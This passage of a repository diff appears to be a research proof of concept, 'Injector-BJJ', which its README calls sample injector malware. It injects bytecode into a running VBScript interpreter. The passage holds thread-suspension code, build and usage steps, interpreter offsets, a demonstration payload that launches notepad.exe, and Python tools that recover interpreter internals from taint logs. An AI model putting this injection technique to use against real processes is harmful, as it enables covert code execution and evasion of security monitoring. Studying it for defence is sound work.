do {
if(te32.th32OwnerProcessID == pid) {
hThread = OpenThread(THREAD_SUSPEND_RESUME, TRUE, te32.th32ThreadID);
if (hThread) {
hThreads.push_back(hThread);
} else {
log_err_msg();
}
}
} while(Thread32Next(hThreadSnap, &te32));
CloseHandle(hThreadSnap);
return hThreads;
}
bool suspend_threads(std::vector<HANDLE> hThreads) {
for (auto iter = hThreads.begin(); iter != hThreads.end(); iter++) {
if (SuspendThread(*iter) < 0) {
log_err_msg();
return false;
}
}
return true;
}
bool resume_threads(std::vector<HANDLE> hThreads) {
for (auto iter = hThreads.begin(); iter != hThreads.end(); iter++) {
if (ResumeThread(*iter) < 0) {
log_err_msg();
return false;
}
}
return true;
}
bool close_handles(std::vector<HANDLE> handles) {
for (auto iter = handles.begin(); iter != handles.end(); iter++) {
if (CloseHandle(*iter) == 0) {
log_err_msg();
return false;
}
}
return true;
}
+22
View File
@@ -0,0 +1,22 @@
#ifndef _INJECTOR_THREAD_H_
#define _INJECTOR_THREAD_H_
#include "util.h"
#include <Windows.h>
#include <tlhelp32.h>
#include <vector>
#define OP_THREAD_SUSPEND 0
#define OP_THREAD_RESUME 1
std::vector<HANDLE> get_thread_handles(DWORD pid);
bool suspend_threads(std::vector<HANDLE> hThreads);
bool resume_threads(std::vector<HANDLE> hThreads);
bool close_handles(std::vector<HANDLE> handles);
// bool suspend_thread(DWORD tid);
// bool resume_thread(DWORD tid);
// bool operate_threads(DWORD pid, BYTE op);
// bool suspend_threads(DWORD pid);
// bool resume_threads(DWORD pid);
#endif // _INJECTOR_THREAD_H_
+48
View File
@@ -0,0 +1,48 @@
#include "util.h"
extern std::ostream *out;
LPVOID get_err_msg() {
DWORD err_code;
LPVOID err_msg;
err_code = GetLastError();
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER
| FORMAT_MESSAGE_FROM_SYSTEM
| FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
err_code,
MAKELANGID(LANG_ENGLISH, SUBLANG_ENGLISH_US),
(LPTSTR)&err_msg,
0,
NULL);
return err_msg;
}
void print_err_msg() {
LPVOID err_msg;
err_msg = get_err_msg();
std::cout << "Error: " << (LPCTSTR)err_msg;
LocalFree(err_msg);
}
void log_err_msg() {
LPVOID err_msg;
err_msg = get_err_msg();
LocalFree(err_msg);
}
std::string read_file(std::string file_name) {
std::ifstream f(file_name);
if (!f) {
std::exit(1);
}
auto ss = std::ostringstream{};
ss << f.rdbuf();
return ss.str();
}
+14
View File
@@ -0,0 +1,14 @@
#ifndef _INJECTOR_UTIL_H_
#define _INJECTOR_UTIL_H_
#include <Windows.h>
#include <iostream>
#include <fstream>
#include <sstream>
LPVOID get_err_msg();
void print_err_msg();
void log_err_msg();
std::string read_file(std::string file_name);
#endif // _INJECTOR_UTIL_H_
+13
View File
@@ -0,0 +1,13 @@
#ifndef _INJECTOR_VPC_H_
#define _INJECTOR_VPC_H_
#include <Windows.h>
#include <vector>
using std::vector;
typedef struct _VPC {
vector<off_t> reference_offsets;
} VPC;
#endif // _INJECTOR_VPC_H_
+197
View File
@@ -0,0 +1,197 @@
# Injector-BJJ
`Injector-BJJ` is a sample injector malware that injects bytecode and symbol tables using Bytecode Jiu-Jitsu.
## Build
1. Download and install Visual Studio
2. Open `Injector-BJJ.sln`
3. Build solution
## Test
1. Open Command Prompt
2. Move to the `test` directory
3. Execute `run.bat` (Release build for x64 is required)
## Tested Environment
|Component|Version|Note|
|-|-|-|
|OS|Windows 11 version 23H2 x64|Built with `en-us_windows_11_consumer_editions_version_23h2_updated_june_2024_x64_dvd_78b33b16.iso`|
|Toolchain|Microsoft Visual C++ 2022||
|Target interpreters|VBScript 5.812.10240.16384||
## Preparation
Injector-BJJ has two options for when to determine its behavior: at runtime and at compile time.
For the runtime determination of the behavior, Injector-BJJ requires three JSON-formatted files that will be input to commandline arguments: `config.json`, `search.json`, and `payload.json`.
For the compile-time determinzation, Injector-BJJ requires three C header files: `config_input.h`, `search_input.h`, and `payload_input.h`.
### Config files
`config` files (both JSON and C header) contain information regarding the internal structures of the target interpreter.
- Module name of the target interpreter
- Offset to the interpretation function from the image base
- Argument index in the interpreter function that contains the pointer to the management structure
- Reference offsets required to traverse from the management structure to bytecode, symbol tables, and the virtual program counter (VPC)
Example:
```json
{
"interp_module_name": "C:\\Windows\\System32\\vbscript.dll",
"interp_func_offset": 33968,
"management_structure_index": 1,
"bytecode": {
"reference_offsets": [
0,
480
]
},
"symbol_tables": [
{
"type": 2,
"scope": 0,
"reference_offsets": [
0,
496
],
"forward_link_offset": 0
}
],
"vpc": {
"reference_offsets": [
0,
472
]
}
}
```
A `config_input.h` contains the information equivalent to above in the C-structure style.
These files will be generated by `STAGER-BJJ`.
### Search files
`search` files (both JSON and C header) contain information regarding a characteristic text searchable in memory. The target text is used to find the management structure under the ASLR-enabled environment.
- Bytes of the search pattern for the target text (in hexadecimal representation)
- Type of the target text (Multibyte string: 0, Wide character string: 1)
- Offset to the raw text in value objects
```json
{
"pattern": [
72,
101,
108,
108,
111,
44,
32,
66,
108,
97,
99,
107,
32,
72,
97,
116,
32,
102,
111,
108,
107,
115,
33
],
"type": 1,
"value_object_offset": 72
}
```
A `config_input.h` contains the information equivalent to above in the C-structure style.
These files will be generated by `Extractor-BJJ`.
### Payload file
`payload` files (both JSON and C header) contain information regarding payloads (i.e., bytecode and symbol tables).
- Bytecode
- Bytes
- Length
- Symbol tables
- Scope (Global: 0, Local: 1)
- Value objects
- Bytes
- Length
- Index in the symbol table
```json
{
"bytecode": {
"bytes": [
86,
56,
[snipped],
2,
1
],
"len": 44
},
"symbol_tables": [
{
"scope": 0,
"value_objects": [
{
"bytes": [
208,
0,
[snipped],
0,
0
],
"len": 224,
"index": 0
}
]
}
]
}
```
A `payload_input.h` contains the information equivalent to above in the C-structure style.
These files will be generated by `Extractor-BJJ`.
## Usage
### Runtime
Specify the three files of `config.json`, `search.json`, and `payload.json` at commandline arguments as follows.
```sh
> Injector-BJJ.exe -c config.json -p payload.json -s search.json
```
### Compile time
Replace the three files of `config_input.h`, `search_input.h`, and `payload_input.h` in the solution directory and build the project.
Then simply execute the generated executable file, which leads to carry out bytecode injection with the information embedded in each header file.
```sh
> Injector-BJJ.exe
```
Note: It is also possible to mix the behavior determination at compile time and those at runtime.
For example, you can only replace `config_input.h` at compile time and specify `search.json` and `payload.json` at runtime.
```sh
> Injector-BJJ.exe -s search.json -p payload.json
```
+3
View File
@@ -0,0 +1,3 @@
Dim Wsh
Set Wsh = CreateObject("WScript.Shell")
Wsh.Run "calc.exe"
+1
View File
@@ -0,0 +1 @@
..\x64\Release\Injector-BJJ.exe -c test_config.json -p test_payload.json -s test_search.json
+5
View File
@@ -0,0 +1,5 @@
Dim msg
msg = "Hello, Black Hat folks!"
WScript.Echo msg
WScript.Sleep 30000
+28
View File
@@ -0,0 +1,28 @@
{
"interp_module_name": "C:\\Windows\\System32\\vbscript.dll",
"interp_func_offset": 33968,
"management_structure_index": 1,
"bytecode": {
"reference_offsets": [
0,
480
]
},
"symbol_tables": [
{
"type": 2,
"scope": 0,
"reference_offsets": [
0,
496
],
"forward_link_offset": 0
}
],
"vpc": {
"reference_offsets": [
0,
472
]
}
}
+288
View File
@@ -0,0 +1,288 @@
{
"bytecode": {
"bytes": [
86,
56,
0,
0,
0,
1,
0,
0,
3,
0,
14,
72,
0,
0,
0,
40,
108,
0,
0,
0,
1,
0,
27,
1,
0,
3,
1,
25,
1,
0,
14,
144,
0,
0,
0,
49,
176,
0,
0,
0,
1,
0,
2,
1
],
"len": 44
},
"symbol_tables": [
{
"scope": 0,
"value_objects": [
{
"bytes": [
208,
0,
0,
0,
32,
0,
0,
0,
184,
0,
0,
0,
2,
0,
0,
0,
204,
0,
0,
0,
1,
0,
0,
0,
16,
2,
0,
0,
188,
0,
0,
0,
2,
0,
0,
0,
240,
0,
0,
0,
32,
1,
0,
0,
71,
0,
0,
0,
98,
142,
0,
0,
6,
0,
0,
0,
87,
0,
115,
0,
104,
0,
0,
0,
66,
13,
111,
38,
26,
0,
0,
0,
87,
0,
83,
0,
99,
0,
114,
0,
105,
0,
112,
0,
116,
0,
46,
0,
83,
0,
104,
0,
101,
0,
108,
0,
108,
0,
0,
0,
11,
183,
183,
15,
24,
0,
0,
0,
67,
0,
114,
0,
101,
0,
97,
0,
116,
0,
101,
0,
79,
0,
98,
0,
106,
0,
101,
0,
99,
0,
116,
0,
0,
0,
173,
186,
203,
39,
156,
228,
22,
0,
0,
0,
110,
0,
111,
0,
116,
0,
101,
0,
112,
0,
97,
0,
100,
0,
46,
0,
101,
0,
120,
0,
101,
0,
0,
0,
229,
136,
0,
0,
6,
0,
0,
0,
82,
0,
117,
0,
110,
0,
0,
0,
137,
169,
173,
186,
9,
0,
0,
0,
39,
0,
0,
0,
50,
0,
0,
0,
21,
0,
0,
0,
176,
1,
0,
0,
1,
0,
0,
0,
0,
0,
0,
0,
1,
0,
0,
0,
0,
0,
0,
0
],
"len": 224,
"index": 0
}
]
}
]
}
+29
View File
@@ -0,0 +1,29 @@
{
"pattern": [
72,
101,
108,
108,
111,
44,
32,
66,
108,
97,
99,
107,
32,
72,
97,
116,
32,
102,
111,
108,
107,
115,
33
],
"type": 1,
"value_object_offset": 72
}
+290
View File
@@ -0,0 +1,290 @@
#!/usr/bin/env python
from logproc import *
from tree import *
import logging
logging.basicConfig(format='[+] %(message)s', level=logging.INFO)
logger = logging.getLogger(__name__)
class Struct(object):
def __init__(self, base, offset, size, index=None):
self.base = base
self.member = []
if index is None:
self.member.append({'offset': offset, 'size': size})
else:
self.member.append({'offset': offset, 'size': size, 'index': [index]})
def __str__(self):
result = 'base: {}\n'.format(hex(self.base))
for member in self.member:
if 'index' in member.keys():
result += '{} {} {}\n'.format(hex(member['offset']), member['size'], member['index'])
else:
result += '{} {}\n'.format(hex(member['offset']), member['size'])
return result
def sort_member(self):
self.member = sorted(self.member, key=lambda x: x['offset'])
def add_member(self, offset, size, index=None):
found = False
for member in self.member:
if member['offset'] == offset:
if index is not None:
# member is array
if 'index' in member.keys():
if index not in member['index']:
member['index'].append(index)
else:
# TODO: investigate why this happens
member['index'] = [index]
found = True
break
if not found:
if index is None:
# member is not array
self.member.append({'offset': offset, 'size': size})
else:
# member is array
self.member.append({'offset': offset, 'size': size, 'index': [index]})
self.sort_member()
class Array(object):
def __init__(self, base, index, size):
self.base = base
self.index = [index]
self.size = size
self.elem_struct = {}
def __str__(self):
result = 'base: {}\n'.format(hex(self.base))
result += 'size: {}\n'.format(self.size)
for index in self.index:
result += '{}\n'.format(index)
return result
def sort_index(self):
self.index = sorted(self.index)
def add_index(self, index):
self.index.append(index)
self.index = list(set(self.index))
self.sort_index()
def add_elem_struct(self, structs, base):
for struct in structs:
if True:
self.elem_struct.append(struct)
class Reference(object):
def __init__(self):
self.start_reg = None
self.ref_offsets = []
def __str__(self):
string = self.start_reg.upper()
for idx, offset in enumerate(self.ref_offsets):
if isinstance(offset, dict):
string += ' +{} (Array: elem size {})'.format(hex(offset['offset']), offset['size'])
else:
string += ' +{}'.format(hex(offset))
if idx != len(self.ref_offsets) - 1:
string += ' ->'
return string
def add_start_reg(self, reg):
self.start_reg = reg
def add_struct_ref(self, offset):
self.ref_offsets.append(offset)
def add_array_ref(self, offset, elem_size):
self.ref_offsets.append({'offset': offset, 'size': elem_size})
def build_struct(memaccess_log):
structs = []
for logline in memaccess_log:
base = logline['base']
if 'disp' in logline.keys():
disp = logline['disp']
if disp != 0:
size = logline['size']
if 'index' in logline.keys():
index = logline['index']
else:
index = None
found = False
for struct in structs:
if struct.base == base:
if index is None:
struct.add_member(disp, size)
else:
struct.add_member(disp, size, index)
break
if not found:
if index is None:
structs.append(Struct(base, disp, size))
else:
structs.append(Struct(base, disp, size, index))
return structs
def build_array(memaccess_log):
arrays = []
for logline in memaccess_log:
if 'index' in logline.keys():
index = logline['index']
base = logline['base']
size = logline['size']
found = False
for array in arrays:
if array.base == base:
array.add_index(index)
found = True
break
if not found:
arrays.append(Array(base, index, size))
return arrays
def find_struct(structs, addr):
for struct in structs:
for member in struct.member:
if struct.base + member['offset'] == addr:
return struct, member['offset']
if 'index' in member.keys():
for index in member['index']:
if struct.base + member['offset'] + index * member['size'] == addr:
return struct, member['offset']
if struct.base == addr:
return struct, 0
return None
def find_array(arrays, addr):
for array in arrays:
for index in array.index:
if array.base + index * array.size == addr:
return array, index
if array.base == addr:
print('Target: {}'.format(hex(addr)))
print('Found array base: {}'.format(hex(array.base)))
print('Found index: 0')
return array, 0
return None
def build_struct_tree(structs, taint_var_log, start_addr):
tree = []
exploration_stack = []
current_node_id = 0
root = Node()
root.addr = start_addr
found = find_struct(structs, start_addr)
if found is not None:
root.struct = found[0]
root.offset = found[1]
logger.info('Found struct: {}'.format(found[0]))
logger.info('Found offset: {}'.format(hex(found[1])))
root.val = get_var_val(taint_var_log, start_addr)
root.size = get_var_size(taint_var_log, start_addr)
tree.append(root)
exploration_stack.append(current_node_id)
while len(exploration_stack) != 0:
logger.info('Exploration stack: {}'.format(exploration_stack))
current_node_id = exploration_stack.pop(-1)
current_node = tree[current_node_id]
found = find_struct(structs, current_node.addr)
if found is not None:
current_node.struct = found[0]
else:
print('{} not found'.format(current_node.addr))
continue
addrs = get_var_addr(taint_var_log, current_node.struct.base)
for addr in addrs:
new_node_id = len(tree)
node = Node()
node.id = new_node_id
node.parent = current_node_id
node.childs = []
node.addr = addr
found = find_struct(structs, addr)
if found is not None:
node.struct = found[0]
node.offset = found[1]
print(found[0], found[1])
else:
print('Struct base for {} not found'.format(hex(addr)))
continue
node.val = get_var_val(taint_var_log, addr)
node.size = get_var_size(taint_var_log, addr)
tree.append(node)
current_node.childs.append(new_node_id)
exploration_stack.append(new_node_id)
return tree
def backtrack(tree, from_node_id):
path = []
node_id = from_node_id
while node_id != -1:
path.append(tree[node_id])
node_id = tree[node_id].parent
return path
def get_struct_ref_path(tree, addr):
for node in tree:
if node.struct.base == addr:
return backtrack(tree, node.id)
def diff_ref_path(path1, path2):
for (node1, node2) in zip(path1, path2):
if node1.addr == node2.addr:
print(hex(node1.addr))
else:
print(hex(node1.addr), hex(node2.addr))
def build_ref_info(struct_tree, ref_path, reg_values):
ref = Reference()
first_node = ref_path[0]
for reg, val in reg_values.items():
if ((first_node.struct is None and first_node.addr == val)
or (first_node.struct is not None and first_node.struct.base == val)):
ref.add_start_reg(reg)
for node in ref_path:
struct = get_struct(struct_tree, node.addr)
for member in struct.member:
if 'index' in member.keys():
for index in member['index']:
if node.offset == member['offset'] + member['size'] * index:
ref.add_array_ref(member['offset'], member['size'])
elif node.offset == member['offset']:
ref.add_struct_ref(member['offset'])
return ref
def get_struct(struct_tree, addr):
for node in struct_tree:
if node.addr == addr:
return node.struct
return None
+27
View File
@@ -0,0 +1,27 @@
import json
import sys
def load_config(config_file):
try:
with open(config_file, 'r') as f:
config_string = f.read()
except FileNotFoundError:
print('Error: No such file {}'.format(config_file))
return None
try:
config = json.loads(config_string)
except json.JSONDecodeError:
print('Error: could not decode JSON string {}'.format(config_string))
return None
except Exception as e:
print('Error: unknown error {}'.format(e))
return None
return config
def is_config_valid(config):
if 'characteristic_values' not in config.keys():
return False
return True
+40
View File
@@ -0,0 +1,40 @@
import logging
logging.basicConfig(format='[+] %(message)s', level=logging.INFO)
logger = logging.getLogger(__name__)
def find_ascii_or_wide_substring(buf, target):
target_ascii = target.encode('ascii')
target_utf16le = target.encode('utf-16le')
if isinstance(buf, str):
buf_bytes = buf.encode('utf-8', errors='replace')
else:
buf_bytes = buf
logger.debug('buf: {}'.format(buf_bytes))
logger.debug('target (ASCII): {}'.format(target))
logger.debug('target (UTF-16LE): {}'.format(target_utf16le))
# ASCII search
pos = buf_bytes.find(target_ascii)
if pos != -1:
return pos
# UTF-16LE search
pos = buf_bytes.find(target_utf16le)
if pos != -1:
return pos
return None
def find_symtable_buf(heap_bufs, target_string):
found_bufs = []
for i, buf in enumerate(heap_bufs):
pos = find_ascii_or_wide_substring(buf['bytes'], target_string)
if pos is not None:
found_bufs.append(buf)
return found_bufs
+117
View File
@@ -0,0 +1,117 @@
#!/usr/bin/env python
from logproc import *
import re
def parse_taint_log(log_content):
# TODO: fix a problem that this pattern cannot find the line below
# b'trace: memtaint, addr: 0x00007fe66ac977f9, tag: {(2, 3) }, byte: 0x0a, char: '
pattern_memtaint = b'trace: (?P<trace>memtaint), addr: (?P<addr>0x[0-9a-f]+), tag: (?P<tag>\{.+\}), byte: (?P<byte>0x[0-9a-f]{2}), char: (?P<char>.?)'
pattern_reg = b'trace: (?P<trace>reg), reg: (?P<reg>.+), val: (?P<val>0x[0-9a-f]+)'
pattern_stack = b'trace: (?P<trace>stack), stack ptr: (?P<stack_ptr>0x[0-9a-f]+)'
p_memtaint = re.compile(pattern_memtaint, re.DOTALL)
p_reg = re.compile(pattern_reg)
p_stack = re.compile(pattern_stack)
taint_log = []
for line in log_content.split(b'\n'):
logline = {}
m = p_memtaint.search(line)
if m is not None:
try:
logline['trace'] = m['trace'].decode('utf-8')
logline['addr'] = int(m['addr'], 16)
logline['tag'] = m['tag'].decode('utf-8') # need consideration
logline['byte'] = int(m['byte'], 16)
logline['char'] = m['char']
if len(logline['char']) == 0:
logline[['char']] = chr(logline['byte'])
taint_log.append(logline)
except Exception as e:
print('could not serialize a log line {}: {}'.format(line, e))
continue
else:
pos_memtaint = line.find(b'memtaint')
pos_not_mapped = line.find(b'not mapped')
if pos_memtaint != -1 and pos_not_mapped == -1:
print('could not parse a log line {}'.format(line))
m = p_reg.search(line)
if m is not None:
try:
logline['trace'] = m['trace'].decode('utf-8')
logline['reg'] = m['reg'].decode('utf-8')
logline['val'] = int(m['val'], 16)
taint_log.append(logline)
except Exception as e:
print('could not serialize a log line {}: {}'.format(line, e))
continue
m = p_stack.search(line)
if m is not None:
try:
logline['trace'] = m['trace'].decode('utf-8')
logline['stack_ptr'] = int(m['stack_ptr'], 16)
taint_log.append(logline)
except Exception as e:
print('could not serialize a log line {}: {}'.format(line, e))
continue
return taint_log
def parse_tainted_memaccess_log(log_content, log):
pattern_memaccess = b'trace: (?P<trace>memaccess), type: (?P<type>read|write), ip: (?P<ip>0x[0-9a-f]+), target: (?P<target>0x[0-9a-f]+), (base: (?P<base>0x[0-9a-f]+), )?(index: (?P<index>[0-9]+), )?(disp: (?P<disp>0x[0-9a-f]+), )?size: (?P<size>[0-9]+), value: (?P<value>0x[0-9a-f]+)'
p_memaccess = re.compile(pattern_memaccess)
tainted_addrs = tuple(get_tainted_addrs(log))
memaccess_log = []
for line in log_content.split(b'\n'):
logline = {}
m = p_memaccess.search(line)
if m is not None:
target_addr = int(m['target'], 16)
if target_addr in tainted_addrs:
try:
logline['trace'] = m['trace'].decode('utf-8')
logline['type'] = m['type'].decode('utf-8')
logline['ip'] = int(m['ip'], 16)
logline['target'] = target_addr
if m['base'] is not None:
logline['base'] = int(m['base'], 16)
if m['index'] is not None:
logline['index'] = int(m['index'])
if m['disp'] is not None:
logline['disp'] = int(m['disp'], 16)
logline['size'] = int(m['size'])
logline['value'] = int(m['value'], 16)
memaccess_log.append(logline)
except Exception as e:
print('could not serialize a log line {}: {}'.format(line, e))
return memaccess_log
def parse_heap_alloc_log(log_content):
pattern_heap_alloc = b'trace: (?P<trace>heap), type: (?P<type>alloc), addr: (?P<addr>0x[0-9a-f]+), size: (?P<size>[0-9]+)'
p_heap_alloc = re.compile(pattern_heap_alloc)
heap_alloc_log = []
for line in log_content.split(b'\n'):
logline = {}
m = p_heap_alloc.search(line)
if m is not None:
try:
logline['trace'] = m['trace'].decode('utf-8')
logline['type'] = m['type'].decode('utf-8')
logline['addr'] = int(m['addr'], 16)
logline['size'] = int(m['size'])
heap_alloc_log.append(logline)
except Exception as e:
print('could not serialize a log line {}: {}'.format(line, e))
return heap_alloc_log
+362
View File
@@ -0,0 +1,362 @@
#!/usr/bin/env python
import copy
import logging
import sys
logging.basicConfig(format='[+] %(message)s', level=logging.INFO)
logger = logging.getLogger(__name__)
def get_init_mem_value(memaccess_log, addr):
for logline in memaccess_log:
if logline['target'] == addr:
if logline['type'] == 'read':
return logline['value']
elif logline['type'] == 'write':
return None
else:
logger.warning('Unknown memaccess type: {}'.format(logline))
return None
def get_stack_ptr(log):
for logline in log:
if logline['trace'] == 'stack':
return logline['stack_ptr']
return None
def get_reg_values(log):
reg = {}
for logline in log:
if logline['trace'] == 'reg':
try:
reg[logline['reg']] = logline['val']
except Exception as e:
logger.error('Could not get reg value: {}'.format(e))
sys.exit()
if len(reg.keys()) == 2:
return reg
return None
def get_bytes(log, addr, size):
bytes_str = ''
for i in range(size):
for logline in log:
if logline['trace'] == 'memtaint' and logline['addr'] == addr + 7 - i:
bytes_str += '{:02x}'.format(logline['byte'])
break
return bytes_str
def get_tainted_addrs(log):
tainted_addrs = []
for logline in log:
if logline['trace'] in ('memtaint', 'memtaint_consolidated', 'struct'):
tainted_addrs.append(logline['addr'])
return tainted_addrs
def get_var_size(memaccess_log, addr):
for logline in memaccess_log:
if logline['target'] == addr:
return logline['size']
return None
def log_has_addr(log, addr):
for logline in log:
if logline['addr'] == addr:
return True
return False
def get_struct(struct_log, addr):
for logline in struct_log:
if logline['addr'] == addr:
return logline
return False
def struct_has_offset(struct, offset):
return offset in struct['offsets']
def get_struct_base(memaccess_log, addr):
for logline in memaccess_log:
if logline['target'] == addr:
return logline['base']
return None
def get_var_addr(var_log, val):
addrs = []
for logline in var_log:
if logline['addr'] is not None and logline['bytes'] is not None:
if logline['bytes'] == val:
addrs.append(logline['addr'])
return addrs
def get_var_val(var_log, addr):
for logline in var_log:
if logline['addr'] == addr:
return logline['bytes']
return None
def create_addr_to_size_map(memaccess_log):
addr_to_size_map = {}
for logline in memaccess_log:
addr = logline['target']
size = logline['size']
addr_to_size_map[addr] = size
return addr_to_size_map
def get_var_size(var_log, addr):
for logline in var_log:
if ((logline['trace'] == 'memaccess' and logline['target'] == addr)
or logline['trace'] == 'memtaint_var' and logline['addr'] == addr):
return logline['size']
return None
def get_var_size_from_map(addr_to_size_map, addr):
if addr in addr_to_size_map.keys():
return addr_to_size_map[addr]
else:
None
def get_heap_start_addrs(heap_alloc_log):
return [x['addr'] for x in heap_alloc_log]
def create_addr_to_tainted_byte_map(taint_log):
addr_to_tainted_byte_map = {}
for logline in taint_log:
if logline['trace'] == 'memtaint':
addr = logline['addr']
byte = logline['char']
addr_to_tainted_byte_map[addr] = byte
return addr_to_tainted_byte_map
def get_tainted_byte(addr_to_tainted_byte_map, addr):
if addr in addr_to_tainted_byte_map.keys():
return addr_to_tainted_byte_map[addr]
else:
None
def generate_init_var_log(var_log, memaccess_log):
init_var_log = copy.deepcopy(var_log)
for i in range(len(var_log)):
found = False
for logline in memaccess_log:
if init_var_log[i]['addr'] == logline['target']:
if logline['type'] == 'read':
init_var_log[i]['bytes'] = logline['value']
init_var_log[i]['size'] = logline['size']
init_var_log[i]['chars'] = init_var_log[i]['bytes'].to_bytes(init_var_log[i]['size'], 'little')
found = True
elif logline['type'] == 'write':
init_var_log[i]['bytes'] = None
init_var_log[i]['chars'] = None
found = True
else:
logger.warning('Unknown memaccess type: {}'.format(logline))
break
if not found:
logger.warning('Could not find target addr {}'.format(hex(var_log[i]['addr'])))
return init_var_log
def consolidate_vars_into_struct(taint_var_log, memaccess_log):
taint_struct_log = []
for logline in taint_var_log:
if logline['trace'] == 'memtaint_var':
addr = logline['addr']
struct_base = get_struct_base(memaccess_log, addr)
struct_offset = addr - struct_base
if log_has_addr(taint_struct_log, struct_base):
for struct in taint_struct_log:
if struct['addr'] == struct_base and struct_offset not in struct['offsets']:
struct['offsets'].append(struct_offset)
struct['tag'].append(logline['tag'])
struct['size'].append(logline['size'])
struct['bytes'].append(logline['bytes'])
struct['chars'].append(logline['chars'])
else:
taint_struct_log.append({
'trace': 'memtaint_struct',
'addr': struct_base,
'offsets': [struct_offset],
'tag': [logline['tag']],
'size': [logline['size']],
'bytes': [logline['bytes']],
'chars': [logline['chars']]
})
return taint_struct_log
def consolidate_bytes(taint_log, index, addr, size):
bytes_count = 0
consolidate = False
consolidated_bytes = 0
i = index - size
while i <= len(taint_log):
logline = taint_log[i]
i = i + 1
if logline['trace'] == 'memtaint' and logline['addr'] == addr:
consolidate = True
if consolidate:
consolidated_bytes = consolidated_bytes + (logline['byte'] << (8 * bytes_count))
bytes_count = bytes_count + 1
if bytes_count == size:
return consolidated_bytes
return None
def consolidate_chars(taint_log, index, addr, size):
chars_count = 0
consolidate = False
consolidated_chars = b''
i = index - size
while i <= len(taint_log):
logline = taint_log[i]
i = i + 1
if logline['trace'] == 'memtaint' and logline['addr'] == addr:
consolidate = True
if consolidate:
consolidated_chars = consolidated_chars + logline['char']
chars_count = chars_count + 1
if chars_count == size:
return consolidated_chars
return None
def consolidate_bytes_into_var(taint_log, memaccess_log):
taint_var_log = []
prev_addr = None
prev_tag = None
start_addr = None
addr_to_size_map = create_addr_to_size_map(memaccess_log)
cont_bytes_count = 1
for index, logline in enumerate(taint_log):
if logline['trace'] == 'memtaint':
current_addr = logline['addr']
current_tag = logline['tag']
if prev_addr is None:
start_addr = current_addr
size = get_var_size_from_map(addr_to_size_map, start_addr)
if size is None:
logger.debug('Could not find memaccess at {}.'.format(hex(start_addr)))
continue
prev_addr = current_addr
prev_tag = current_tag
continue
if current_addr == prev_addr + 1 and current_tag == prev_tag and cont_bytes_count < size:
cont_bytes_count = cont_bytes_count + 1
else:
consolidated_bytes = consolidate_bytes(taint_log, index, start_addr, cont_bytes_count)
consolidated_chars = consolidate_chars(taint_log, index, start_addr, cont_bytes_count)
if size != 0:
taint_var_log.append({
'trace': 'memtaint_var',
'addr': start_addr,
'tag': prev_tag,
'size': cont_bytes_count,
'bytes': consolidated_bytes,
'chars': consolidated_chars
})
start_addr = current_addr
size = get_var_size_from_map(addr_to_size_map, start_addr)
if size is None:
# The case in which over-tainting occurs
# A base register is always 8-bytes but the propagation target register is not
size = 0
cont_bytes_count = 1
prev_addr = current_addr
prev_tag = current_tag
return taint_var_log
def consolidate_bytes_into_buf(taint_log, heap_alloc_log):
consolidated_buf = []
heap_start_addrs = get_heap_start_addrs(heap_alloc_log)
prev_addr = None
consolidated_bytes = b''
for logline in taint_log:
if logline['trace'] == 'memtaint':
current_addr = logline['addr']
current_byte = logline['char']
if prev_addr is None:
if current_addr in heap_start_addrs:
buf_base = current_addr
consolidated_bytes = consolidated_bytes + current_byte
prev_addr = current_addr
else:
if current_addr == prev_addr + 1 and current_addr not in heap_start_addrs:
consolidated_bytes = consolidated_bytes + current_byte
prev_addr = current_addr
else:
buf = {}
buf['base'] = buf_base
buf['bytes'] = consolidated_bytes
buf['size'] = current_addr - buf_base
consolidated_buf.append(buf)
if current_addr in heap_start_addrs:
buf_base = current_addr
consolidated_bytes = current_byte
prev_addr = current_addr
else:
prev_addr = None
consolidated_bytes = b''
return consolidated_buf
def reconstruct_heap_buf(taint_log, heap_alloc_log):
bufs = []
addr_to_tainted_byte_map = create_addr_to_tainted_byte_map(taint_log)
for logline in heap_alloc_log:
heap_base_addr = logline['addr']
heap_size = logline['size']
reconstructed_bytes = b''
addr = heap_base_addr
while addr <= heap_base_addr + heap_size:
tainted_byte = get_tainted_byte(addr_to_tainted_byte_map, addr)
if tainted_byte is not None:
reconstructed_bytes += tainted_byte
else:
reconstructed_bytes += b'\x00'
addr = addr + 1
buf = {}
buf['base'] = heap_base_addr
buf['bytes'] = reconstructed_bytes
buf['size'] = heap_size
bufs.append(buf)
return bufs
def generate_struct_bytes(taint_struct_log, addr):
for logline in taint_struct_log:
if logline['addr'] == addr:
struct_bytes = b'\x00' * (logline['offsets'][-1] + logline['size'][-1])
for i in range(len(logline['offsets'])):
if logline['chars'][i] is not None:
start = logline['offsets'][i]
end = logline['offsets'][i] + logline['size'][i]
struct_bytes = struct_bytes[:start] + logline['chars'][i] + struct_bytes[end:]
return struct_bytes
+162
View File
@@ -0,0 +1,162 @@
#!/usr/bin/env python
from analyze import *
from config import *
from find import *
from logparse import *
from logproc import *
from output import *
from processed import *
from print import *
import argparse
import logging
import os
import sys
logging.basicConfig(format='[+] %(message)s', level=logging.INFO)
logger = logging.getLogger(__name__)
proc_taint_log_file = './processed_log/proc_taint_log.json'
proc_taint_var_log_file = './processed_log/proc_taint_var_log.json'
proc_memaccess_log_file = './processed_log/proc_memaccess_log.json'
proc_heap_alloc_log_file = './processed_log/proc_heap_alloc_log.json'
def main():
parser = argparse.ArgumentParser(
prog='STAGE-BJJ',
description='A tool that dynamically analyzes script engines to obtain information of implementation details.',
epilog=''
)
parser.add_argument('log_file', help='a log file generated by Tracer-BJJ.')
parser.add_argument('config_file', help='a JSON-formatted config file for STAGER-BJJ.')
parser.add_argument('-o', '--output', default='config_out.json', help='an output config file name for Extractor-BJJ.')
args = parser.parse_args()
logger.info('Reading a log file: {}'.format(args.log_file))
try:
with open(args.log_file, 'rb') as f:
log_content = f.read()
except FileNotFoundError:
logger.error('No such file {}'.format(args.log_file))
sys.exit()
except Exception as e:
logger.error('Unexpected error occurred: {}'.format(e))
sys.exit()
logger.info('Done')
logger.info('Loading a config file: {}'.format(args.config_file))
config = load_config(args.config_file)
if not is_config_valid(config):
logger.error('Invalid config')
sys.exit()
logger.info('Done.')
if os.path.isfile(proc_taint_log_file):
logger.info('Processed taint log file exists. Loading: {}'.format(proc_taint_log_file))
taint_log = load_proc_taint_log_from_json(proc_taint_log_file)
logger.info('Done.')
else:
logger.info('Parsing taint log...')
taint_log = parse_taint_log(log_content)
save_proc_taint_log_to_json(taint_log, proc_taint_log_file)
logger.info('Done.')
if os.path.isfile(proc_memaccess_log_file):
